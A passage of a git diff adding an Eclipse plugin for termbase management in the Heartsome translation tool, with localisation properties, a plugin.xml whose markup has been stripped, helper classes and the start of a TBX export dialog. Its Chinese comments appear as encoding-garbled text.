\u672f\u8bed\u5e93\u7ba1\u7406... +menu.translation.importTbx = \u5bfc\u5165 TBX... +menu.translation.exportTbx = \u5bfc\u51fa TBX... +command.termDbManage = \u672f\u8bed\u5e93\u7ba1\u7406 +command.importTbx = \u5bfc\u5165 TBX +command.exportTbx = \u5bfc\u51fa TBX + +preferencePages.tb = \u672f\u8bed\u5e93 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui.tb/plugin.xml b/database/net.heartsome.cat.database.ui.tb/plugin.xml new file mode 100644 index 0000000..535a3fd --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/plugin.xml @@ -0,0 +1,235 @@ + + + + + + + %newWizard.tb.description + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/database/net.heartsome.cat.database.ui.tb/plugin_en.properties b/database/net.heartsome.cat.database.ui.tb/plugin_en.properties new file mode 100644 index 0000000..298a2f8 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/plugin_en.properties @@ -0,0 +1,17 @@ +newWizard.tb = Termbase... +newWizard.tb.description = Create a new termbase to save terms in the project. +command.newTB = Termbase +toolbar.newTB = Termbase + +menu.translation.tbSearch = Search Term... +toolBar.tbSearch = Term Search +command.tbSearch = Term Search + +menu.translation.termDbManage = Termbase Management... +menu.translation.importTbx = Import TBX... +menu.translation.exportTbx = Export TBX... +command.termDbManage = Termbase Management +command.importTbx = Import TBX +command.exportTbx = Export TBX + +preferencePages.tb = Termbase diff --git a/database/net.heartsome.cat.database.ui.tb/plugin_zh.properties b/database/net.heartsome.cat.database.ui.tb/plugin_zh.properties new file mode 100644 index 0000000..689c031 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/plugin_zh.properties @@ -0,0 +1,17 @@ +newWizard.tb = \u672f\u8bed\u5e93... +newWizard.tb.description = \u65b0\u5efa\u4e00\u4e2a\u672f\u8bed\u5e93\uff0c\u7528\u4ee5\u4fdd\u5b58\u9879\u76ee\u4e2d\u4f7f\u7528\u7684\u672f\u8bed\u3002 +command.newTB = \u672f\u8bed\u5e93 +toolbar.newTB = \u672f\u8bed\u5e93 + +menu.translation.tbSearch = \u672f\u8bed\u641c\u7d22... +toolBar.tbSearch = \u672f\u8bed\u641c\u7d22 +command.tbSearch = \u672f\u8bed\u641c\u7d22 + +menu.translation.termDbManage = \u672f\u8bed\u5e93\u7ba1\u7406... +menu.translation.importTbx = \u5bfc\u5165 TBX... +menu.translation.exportTbx = \u5bfc\u51fa TBX... +command.termDbManage = \u672f\u8bed\u5e93\u7ba1\u7406 +command.importTbx = \u5bfc\u5165 TBX +command.exportTbx = \u5bfc\u51fa TBX + +preferencePages.tb = \u672f\u8bed\u5e93 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/Activator.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/Activator.java new file mode 100644 index 0000000..8a0193a --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.database.ui.tb; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.database.ui.tb"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/ImageConstants.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/ImageConstants.java new file mode 100644 index 0000000..c26e059 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/ImageConstants.java @@ -0,0 +1,36 @@ +/** + * ImageConstants.java + * + * Version information : + * + * Date:2012-5-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb; + +/** + * 图片资æºå¸¸é‡ + * @author jason + * @version + * @since JDK1.6 + */ +public interface ImageConstants { + String CHECKED = "images/database/new-project/checked.gif"; + String UNCHECKED = "images/database/new-project/unchecked.gif"; + + /** æœç´¢æœ¯è¯­å¯¹è¯æ¡†ä¸­é€‰æ‹©è¯­è¨€æŒ‰é’®çš„图片 */ + public static final String CONCORDANCE_SELECT_LANG = "images/dialog/change-lang.png"; + + // æ•°æ®åº“管ç†æ¨¡å— + public static final String ORACLE = "images/database/db-manage/oracle.png"; + public static final String MYSQL = "images/database/db-manage/mysql.png"; + public static final String POSTGRESQL = "images/database/db-manage/postgresql.png"; + public static final String SQLSERVER = "images/database/db-manage/sqlserver.png"; + public static final String INTERNALDB = "images/database/db-manage/internaldb.png"; + public static final String IP = "images/database/db-manage/ip.png"; + public static final String SQLITE = "images/database/db-manage/sqlite.png"; +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/Utils.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/Utils.java new file mode 100644 index 0000000..deab977 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/Utils.java @@ -0,0 +1,102 @@ +/** + * Utils.java + * + * Version information : + * + * Date:2013-4-23 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb; + +import java.io.File; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tb.resource.Messages; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class Utils { + public static Logger LOGGER = LoggerFactory.getLogger(Utils.class); + + public static Map convertFile2TbModel(File f, boolean loadLang) throws Exception { + String path = f.getParent(); + String name = f.getName(); + System.out.println(path + " " + name); + DatabaseModelBean selectedVal = new DatabaseModelBean(); + selectedVal.setDbName(name); + selectedVal.setDbType(Constants.DBTYPE_SQLITE); + selectedVal.setItlDBLocation(path); + + String lang = ""; + DBOperator dbOp = DatabaseService.getDBOperator(selectedVal.toDbMetaData()); + Statement stmt = null; + ResultSet rs = null; + try { + dbOp.start(); + stmt = dbOp.getConnection().createStatement(); + rs = stmt.executeQuery("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name"); + List tables = new ArrayList(); + while (rs.next()) { + String tname = rs.getString(1); + if (tname.toUpperCase().startsWith("MATRIX_")) { + continue; + } else { + tables.add(tname); + } + } + List l = Arrays.asList("BATTRIBUTE", "BMARTIFHEADER", "BNODE", "BREFOBJECTLIST", "BTERMENTRY", + "LANG", "MEXTRA", "MHEADER", "MHEADERNODE", "MNOTE", "MPROP", "MTU", "TEXTDATA"); + if (!tables.containsAll(l)) { + String message = Messages.getString("tb.dialog.addFileTb.error.msg1"); + throw new Exception(message); + } + if (loadLang) { + List langs = dbOp.getLanguages(); + for (int j = 0; j < langs.size(); j++) { + lang += langs.get(j); + if (j != langs.size() - 1) { + lang += ","; + } + } + } + Map result = new HashMap(); + result.put(selectedVal, lang); + return result; + } catch (Exception ex) { + LOGGER.error("", ex); + String message = Messages.getString("tb.dialog.addFileTb.error.msg2"); + message = MessageFormat.format(message, name); + throw new Exception(message); + } finally { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException ex) { + LOGGER.error("", ex); + } + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/ExportTbxDialog.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/ExportTbxDialog.java new file mode 100644 index 0000000..3c8fa6d --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/ExportTbxDialog.java @@ -0,0 +1,836 @@ +/** + * ExportTbxDialog.java + * + * Version information : + * + * Date:Dec 7, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.dialog; + +import java.io.File; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.HSDropDownButton; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.bean.ExportDatabaseBean; +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger; +import net.heartsome.cat.database.ui.dialog.ExportFilterSettingDialog; +import net.heartsome.cat.database.ui.tb.Utils; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.document.ExportAbstract; +import net.heartsome.cat.document.ExportTbxImpl; +import net.heartsome.cat.ts.util.ProgressIndicatorManager; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.ListViewer; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 从库中导出为TBX文件 + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportTbxDialog extends TrayDialog { + Logger logger = LoggerFactory.getLogger(ExportTbxDialog.class); + private TableViewer dbListViewer; + private ListViewer hasSelLangListViewer; + private ComboViewer srcLangcomboViewer; + private Button hasChangedCodingCbtn; + private ComboViewer encodingComboViewer; + private Button hasFilterChangedBtn; + private ComboViewer filterComboViewer; + private Button filterSettingBtn; + private Button filterDeleteBtn; + private Text tbxFileText; + private Button browserBtn; + private Button deleteDbBtn; + private List filterList; // 过滤规则 + + private List dbList; + private ExportDatabaseBean currentDatabase; + private String[] pageCodes; + + private ExportFilterStoreConfiger filterStore; + + /** + * Create the dialog. + * @param parentShell + */ + public ExportTbxDialog(Shell parentShell) { + super(parentShell); + this.dbList = new ArrayList(); + this.pageCodes = LocaleService.getPageCodes(); + this.filterStore = new ExportFilterStoreConfiger(); + this.initFilterStore(); + setHelpAvailable(true); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.ExportTbxDialog.title")); + } + + /** + * 添加帮助按钮 robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 导出 tbx + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format("/net.heartsome.cat.ts.ui.help/html/{0}/ch06s05.html#export-tbx", + language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Group dbListGroup = new Group(container, SWT.NONE); + GridLayout glDbListGroup = new GridLayout(2, false); + glDbListGroup.horizontalSpacing = 0; + glDbListGroup.marginHeight = 0; + glDbListGroup.marginWidth = 0; + dbListGroup.setLayout(glDbListGroup); + dbListGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + dbListGroup.setText(Messages.getString("dialog.ExportTbxDialog.dbListGroup")); + + Composite leftComposite = new Composite(dbListGroup, SWT.NONE); + GridLayout glLeftComposite = new GridLayout(1, false); + glLeftComposite.verticalSpacing = 0; + glLeftComposite.marginHeight = 0; + leftComposite.setLayout(glLeftComposite); + leftComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1)); + + // 列表和语言设置 + Composite dbListComposite = new Composite(leftComposite, SWT.NONE); + GridLayout glTopLeftComposite = new GridLayout(1, false); + glTopLeftComposite.marginHeight = 0; + glTopLeftComposite.marginWidth = 0; + dbListComposite.setLayout(glTopLeftComposite); + dbListComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + dbListViewer = new TableViewer(dbListComposite, SWT.BORDER | SWT.FULL_SELECTION); + Table table = dbListViewer.getTable(); + GridData gd_table = new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1); + gd_table.heightHint = 100; + table.setLayoutData(gd_table); + table.setHeaderVisible(true); + table.setLinesVisible(true); + dbListViewer.setContentProvider(new ArrayContentProvider()); + dbListViewer.setInput(dbList); + createColumn(dbListViewer); + dbListViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) event.getSelection(); + currentDatabase = (ExportDatabaseBean) selection.getFirstElement(); + loadData(); + } + }); + + Composite langSetComposite = new Composite(leftComposite, SWT.NONE); + GridLayout gl_langSetComposite = new GridLayout(2, false); + gl_langSetComposite.marginWidth = 0; + langSetComposite.setLayout(gl_langSetComposite); + langSetComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + + Label langSelLabel = new Label(langSetComposite, SWT.NONE); + langSelLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + langSelLabel.setText(Messages.getString("dialog.ExportTbxDialog.langSelLabel")); + + hasSelLangListViewer = new ListViewer(langSetComposite, SWT.BORDER | SWT.V_SCROLL | SWT.MULTI); + org.eclipse.swt.widgets.List list = hasSelLangListViewer.getList(); + GridData glLangList = new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1); + glLangList.heightHint = 76; + list.setLayoutData(glLangList); + hasSelLangListViewer.setContentProvider(new ArrayContentProvider()); + hasSelLangListViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + @SuppressWarnings("unchecked") + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection sel = (IStructuredSelection) event.getSelection(); + if (sel.isEmpty()) { + return; + } + if (currentDatabase != null) { + currentDatabase.getHasSelectedLangs().clear(); + currentDatabase.getHasSelectedLangs().addAll(sel.toList()); + + List canSelSrcLangs = new ArrayList(); + canSelSrcLangs.addAll(sel.toList()); + + currentDatabase.setCanSelSrcLangs(canSelSrcLangs); + srcLangcomboViewer.setInput(canSelSrcLangs); + if (canSelSrcLangs.contains(currentDatabase.getSrcLang())) { + String srcLang = currentDatabase.getSrcLang(); + if (srcLang != null && !srcLang.equals("")) { + for (int i = 0; i < canSelSrcLangs.size(); i++) { + if (canSelSrcLangs.get(i).equals(srcLang)) { + srcLangcomboViewer.getCombo().select(i); + break; + } + } + } + } else { + srcLangcomboViewer.getCombo().select(0); + } + + } + } + }); + + Label srcLangSelLabel = new Label(langSetComposite, SWT.NONE); + srcLangSelLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + srcLangSelLabel.setBounds(0, 0, 79, 19); + srcLangSelLabel.setText(Messages.getString("dialog.ExportTbxDialog.srcLangSelLabel")); + + srcLangcomboViewer = new ComboViewer(langSetComposite, SWT.NONE | SWT.READ_ONLY); + Combo combo = srcLangcomboViewer.getCombo(); + GridData gd_combo = new GridData(SWT.LEFT, SWT.CENTER, true, false, 1, 1); + gd_combo.widthHint = 197; + combo.setLayoutData(gd_combo); + srcLangcomboViewer.setContentProvider(new ArrayContentProvider()); + srcLangcomboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection sel = (IStructuredSelection) event.getSelection(); + if (sel.isEmpty()) { + return; + } + if (currentDatabase != null) { + currentDatabase.setSrcLang((String) sel.getFirstElement()); + } + } + }); + // æ“作库列的按钮区域 + Composite rightComposite = new Composite(dbListGroup, SWT.NONE); + GridLayout gl_rightComposite = new GridLayout(1, false); + gl_rightComposite.marginRight = 5; + gl_rightComposite.marginHeight = 0; + gl_rightComposite.marginWidth = 0; + rightComposite.setLayout(gl_rightComposite); + rightComposite.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, false, false, 1, 1)); + + HSDropDownButton addBtn = new HSDropDownButton(rightComposite, SWT.NONE); + addBtn.setText(Messages.getString("dialog.ExportTbxDialog.AddDbBtn")); + Menu addMenu = addBtn.getMenu(); + MenuItem item = new MenuItem(addMenu, SWT.PUSH); + item.setText(Messages.getString("tb.dialog.addTb.DropDownButton.AddFileTb")); + item.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + FileDialog fileDialg = new FileDialog(getShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstb", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return; + } + File f = new File(result); + if (!f.exists()) { + return; + } + Map r = null; + try { + r = Utils.convertFile2TbModel(f, true); + } catch (Exception e1) { + MessageDialog.openError(getShell(), Messages.getString("tb.dialog.addFileTb.errorTitle"), + e1.getMessage()); + } + if (r == null) { + return; + } + Iterator it = r.keySet().iterator(); + if (it.hasNext()) { + DatabaseModelBean selectedVal = it.next(); + ExportDatabaseBean bean = new ExportDatabaseBean(selectedVal.toDbMetaData(), r.get(selectedVal)); + if (!dbList.contains(bean)) { // 实现: é‡å†™equals方法 + dbList.add(bean); + bean.setIndex(dbList.size() + ""); + } + dbListViewer.getTable().removeAll(); + dbListViewer.setInput(dbList); + if (dbList.size() != 0) { + deleteDbBtn.setEnabled(true); + browserBtn.setEnabled(true); + selectCurrentDb(currentDatabase); + } else { + deleteDbBtn.setEnabled(false); + browserBtn.setEnabled(false); + } + } + } + }); + MenuItem serverItem = new MenuItem(addMenu, SWT.PUSH); + serverItem.setText(Messages.getString("tb.dialog.addTb.DropDownButton.AddServerTb")); + serverItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + TermDbManagerDialog dialog = new TermDbManagerDialog(getShell()); + dialog.setDialogUseFor(TermDbManagerDialog.TYPE_DBSELECTED); + + if (dialog.open() == Window.OK) { + Map selDb = dialog.getHasSelectedDatabase(); + Iterator> entryIt = selDb.entrySet().iterator(); + while (entryIt.hasNext()) { + Entry entry = entryIt.next(); + ExportDatabaseBean bean = new ExportDatabaseBean(entry.getKey().toDbMetaData(), entry + .getValue()); + if (!dbList.contains(bean)) { // 实现: é‡å†™equals方法 + dbList.add(bean); + bean.setIndex(dbList.size() + ""); + } + } + dbListViewer.getTable().removeAll(); + dbListViewer.setInput(dbList); + } + + if (dbList.size() != 0) { + deleteDbBtn.setEnabled(true); + browserBtn.setEnabled(true); + selectCurrentDb(currentDatabase); + } else { + deleteDbBtn.setEnabled(false); + browserBtn.setEnabled(false); + } + } + }); + + deleteDbBtn = new Button(rightComposite, SWT.NONE); + deleteDbBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + deleteDbBtn.setBounds(0, 0, 104, 31); + deleteDbBtn.setText(Messages.getString("dialog.ExportTbxDialog.deleteDbBtn")); + deleteDbBtn.setEnabled(false); + deleteDbBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection sel = (IStructuredSelection) dbListViewer.getSelection(); + if (sel.isEmpty()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + Messages.getString("dialog.ExportTbxDialog.msg1")); + return; + } + dbList.removeAll(sel.toList()); + dbListViewer.remove(sel.toArray()); + if (dbList.size() != 0) { + deleteDbBtn.setEnabled(true); + browserBtn.setEnabled(true); + selectCurrentDb(currentDatabase); + } else { + currentDatabase = null; + deleteDbBtn.setEnabled(false); + browserBtn.setEnabled(false); + } + } + }); + + Composite tbxTemplateComp = new Composite(container, SWT.NONE); + GridLayout glTbxTemplateComp = new GridLayout(1, false); + glTbxTemplateComp.marginWidth = 0; + glTbxTemplateComp.marginHeight = 0; + tbxTemplateComp.setLayout(glTbxTemplateComp); + + Composite encodingComposite = new Composite(container, SWT.NONE); + GridLayout glEncodingComposite = new GridLayout(2, false); + glEncodingComposite.marginWidth = 0; + glEncodingComposite.marginHeight = 0; + encodingComposite.setLayout(glEncodingComposite); + encodingComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + hasChangedCodingCbtn = new Button(encodingComposite, SWT.CHECK); + hasChangedCodingCbtn.setText(Messages.getString("dialog.ExportTbxDialog.hasChangedCodingCbtn")); + hasChangedCodingCbtn.setSelection(false); + hasChangedCodingCbtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + encodingComboViewer.getCombo().setEnabled(hasChangedCodingCbtn.getSelection()); + } + }); + encodingComboViewer = new ComboViewer(encodingComposite, SWT.NONE | SWT.READ_ONLY); + Combo encodingCombo = encodingComboViewer.getCombo(); + GridData gdEncodingCombo = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gdEncodingCombo.widthHint = 279; + encodingCombo.setLayoutData(gdEncodingCombo); + encodingCombo.setEnabled(hasChangedCodingCbtn.getSelection()); + encodingComboViewer.setContentProvider(new ArrayContentProvider()); + encodingComboViewer.setInput(pageCodes); + + Composite filterComposite = new Composite(container, SWT.NONE); + filterComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + GridLayout glFilterComposite = new GridLayout(4, false); + glFilterComposite.marginWidth = 0; + glFilterComposite.marginHeight = 0; + filterComposite.setLayout(glFilterComposite); + + hasFilterChangedBtn = new Button(filterComposite, SWT.CHECK); + hasFilterChangedBtn.setText(Messages.getString("dialog.ExportTbxDialog.button")); + hasFilterChangedBtn.setSelection(false); + hasFilterChangedBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + filterComboViewer.getCombo().setEnabled(hasFilterChangedBtn.getSelection()); + filterSettingBtn.setEnabled(hasFilterChangedBtn.getSelection()); + filterDeleteBtn.setEnabled(hasFilterChangedBtn.getSelection()); + } + }); + + filterComboViewer = new ComboViewer(filterComposite, SWT.NONE); + Combo filterCombo = filterComboViewer.getCombo(); + filterCombo.setEnabled(false); + filterCombo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + filterComboViewer.setContentProvider(new ArrayContentProvider()); + filterComboViewer.setLabelProvider(new FilterLabelProvider()); + filterComboViewer.setInput(filterList); + filterCombo.select(0); // 有一个空的过滤器 + + filterSettingBtn = new Button(filterComposite, SWT.NONE); + filterSettingBtn.setText(Messages.getString("dialog.ExportTbxDialog.filterSettingBtn")); + filterSettingBtn.setEnabled(false); + filterSettingBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection sel = (IStructuredSelection) filterComboViewer.getSelection(); + ExportFilterBean bean = (ExportFilterBean) sel.getFirstElement(); + if (bean.equals(filterList.get(0))) { // 0ä½ç½®çš„始终存在 Empty + // 新建 + filterSetting(null); + } else { + // 编辑 + filterSetting(bean); + } + } + }); + + filterDeleteBtn = new Button(filterComposite, SWT.NONE); + filterDeleteBtn.setText(Messages.getString("dialog.ExportTbxDialog.filterDeleteBtn")); + filterDeleteBtn.setEnabled(false); + filterDeleteBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection sel = (IStructuredSelection) filterComboViewer.getSelection(); + ExportFilterBean bean = (ExportFilterBean) 